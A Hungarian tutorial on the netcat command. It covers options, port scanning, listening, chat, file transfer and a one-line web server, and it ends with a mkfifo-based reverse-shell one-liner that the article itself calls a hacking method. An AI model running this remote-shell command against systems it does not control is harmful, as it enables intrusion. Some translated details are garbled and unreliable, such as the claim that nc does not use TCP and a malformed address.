A netcat
parancs a TCP és UDP protokollok használatával történő adatküldéshez és -fogadáshoz szükséges. Nem rendelkezik nagyszámú funkcióval, de elegendő a kapcsolat ellenőrzéséhez és az egyszerű hibakereséshez. Hogyan lehet TCP protokollon keresztül kommunikálni? Ezt a kérdést sok felhasználó teszi fel. Ebben a cikkben válaszolunk erre a kérdésre, és példákat is mutatunk a parancs valós alkalmazására.
A netcat
(vagy nc
) parancs egy hatékony eszköz a hálózati kapcsolatokkal való munkához. A rendszergazdák és a fejlesztők gyakran használják különböző feladatokra. Íme a netcat
főbb funkciói és jellemzői:
A netcat
egy sokoldalú eszköz, amely az egyszerű üzenetküldéstől az összetett hálózati műveletekig sokféle forgatókönyvben használható.
Kezdjük a szintaxis és a legnépszerűbbek áttekintésével:
-6
- IPv6 protokoll használata. Az alapértelmezett a -4 és az IPv4, illetve az IPv4;-h
- súgó megjelenítése az elérhető paraméterek listájával;-i
- delay - késleltetés - késleltetés hozzáadása a karakterláncok küldése vagy a portok letapogatása között. Ez másodpercekben van beállítva;-l
- figyelési mód. Portmeghatározással együtt használatos;-N
- a kapcsolat lezárása, amikor a fájl küldésekor elérjük a fájl végét;-n
- közvetlenül IP-címekkel dolgozik DNS nélkül, a portok letapogatását is kikapcsolja;-P
- user_name - a proxyhoz való csatlakozáshoz szükséges felhasználónév megadása;-x
- address:port - adja meg a proxyhoz való csatlakozás címét és portját;-p
- port - a port számának megadása. A legtöbb esetben a port a paraméter megadása nélkül is beolvasásra kerül;-U
- UNIX tartományi aljzat használata (a folyamatok közötti kommunikációhoz);-u
- UDP protokoll használata, alapértelmezés szerint TCP protokollt használ;-v
- részletes üzemmód. Szkenneléskor használatos;-W
number_packets - bizonyos számú csomag fogadása után lezárja a kapcsolatot;-w
timer - időzítő engedélyezése a kapcsolat időtartamának korlátozására. Másodpercben van beállítva;-z
- letiltja az adatküldést. A beolvasás során használatos.A parancs a következő formájú (paraméterek portcím):
$ nc
A következőkben elmondjuk, hogyan kell használni a parancsot.
Az ellenőrzés a netcat
fő felhasználási területe. Két paramétert kell használni -vz
, meg kell adni a címet és a portot. Megadhat egy címtartományt is, de ebben az esetben jobb, ha csak a nyitott portokat szűri ki agrep
paranccsal. Vizsgáljuk át a helyi hálózati cím portjait:
$ nc -vz 192.168.31.247 8080
$ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded
Ugyanígy vizsgáljuk át az UDP portokat is a -u
paraméter hozzáadásával:
$ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded
A TCP és az UDP közötti fő különbséget ismernie kell. Tehát az UDP portok mindig rendelkezésre állnak.
A -l
paraméter a port meghallgatására szolgál. Ez gyakran elég, de engedélyezheti a részletes módot:
$ nc -nlv 8080
Ne feledje, hogy a TCP protokoll használatakor a portnak szabadnak kell lennie, különben megjelenik a Már használatban van hiba. Nem minden portot használhatnak a normál felhasználók, például a 80-as portot (HTTP), valószínűleg egy másik folyamat foglalja le, és szuperfelhasználói jogokat igényel.
A parancs hasznos képessége az adatcsere. Egy egyszerű példa erre egy szöveges csevegőszoba. Ahhoz, hogy az egyik számítógépen csevegést indítsunk, futtassuk a segédprogramot port figyelő üzemmódban:
$ nc -lp 8080
A másik számítógépen meg kell adnia az első számítógép címét és ugyanazt a portot. Azt se felejtse el ellenőrizni, hogy a port nyitva van-e:
$ nc 0.0.0.0 8080
Így képes lesz üzeneteket küldeni és fogadni. Vagyis a parancs fájlcserére szolgál. Az elv ugyanaz, azzal a különbséggel, hogy a kimenetet egy fájlba, nevezetesen a paste.txt
fájlba kell átirányítani:
$ nc -l 8080 > paste.txt
A másik számítógépen a copy.txt
fájl szolgál majd bemenetként. Nem felesleges az -N
paramétert használni a kapcsolat lezárására a fájlátvitel után:
$ nc -N 0.0.0.0 8080 < copy.txt
A fájlátvitelnél fontos a sorrend betartása, először a hallgatás megnyitása és csak utána a fájl elküldése. Az nc parancs egy működő, de messze nem a legjobb módja a fájlok átvitelének. Vannak hatékonyabb és hasznosabb eszközök is erre a feladatra.
Mivel az NC parancs nem a TCP protokollal működik, lehetővé teszi a HTTP-kérések küldését és fogadását is. Ennélfogva a segédprogram egyszerű webszerverré válhat. Igen, egy üres oldalnál trükkösebb dolgot nem lehet így csinálni, de a művelet szinte semmi időt nem vesz igénybe, és az a plusz, hogy nem kell semmi pluszt telepíteni.
A példa űrlapon HTTP-válasz az index.html
fájlra .
Ha már magáról az np-ről beszélünk, érdemes a -w 1
paraméterrel beállítani egy időzítőt, ami megszakítja a kapcsolatot, ha a böngésző nem teszi:
$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done
Ha adatokat szeretne kapni egy weboldalról, akkor kérést formálhat, és elküldheti a tanácsolt címre és portra. Ez az út azonban elég bonyolult, jobb, ha a megfelelő CURL parancsot használjuk.
A fent tárgyalt példák alapján nem lesz nehéz megállapítani, hogy a parancs lehetővé teszi a számítógép héjához való távoli hozzáférés megszervezését. Korábban az NC segédprogramnak több paramétere volt a terminálhoz való hozzáférés megnyitásához. A -e
paramétert már régen eltávolították a segédprogramból, így a terminálhoz való egyszerű hozzáférés többé nem lesz lehetséges. Magának az alkalmazásnak a biztonsága magasabb lett, de továbbra is működhet másokkal együtt.
Mutassuk meg a kapcsolatot az mkfifo nevű csatorna használatával. Először is kezdjük el hallgatni azt a portot a PC-n, ahová hozzáférést kapunk:
$ nc -lvnp 8080
Menjünk közvetlenül a terminál megnyitására szolgáló parancsra. Először töröljük a régi nevesített csatornát(rm /tmp/f
), hozzunk létre helyette egy újat(mkfifo /tmp/f
), olvassuk be a tartalmát(cat /tmp/f
) és küldjünk egy shell parancsot a kimenetére(sh -i 2>&1
). Ezután már csak az nc futtatása van hátra a kimenettel a megnevezett csatornánkra(nc 0.0.0.0.0.0 8080 >/tmp/f
):
$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f
Tartsuk szem előtt, hogy ez a hackelés egyik módja, azonban hasznos lehet, ha az ssh-val
problémák adódnak. A támadás megakadályozása érdekében konfiguráljon biztonsági házirendet és tűzfalat.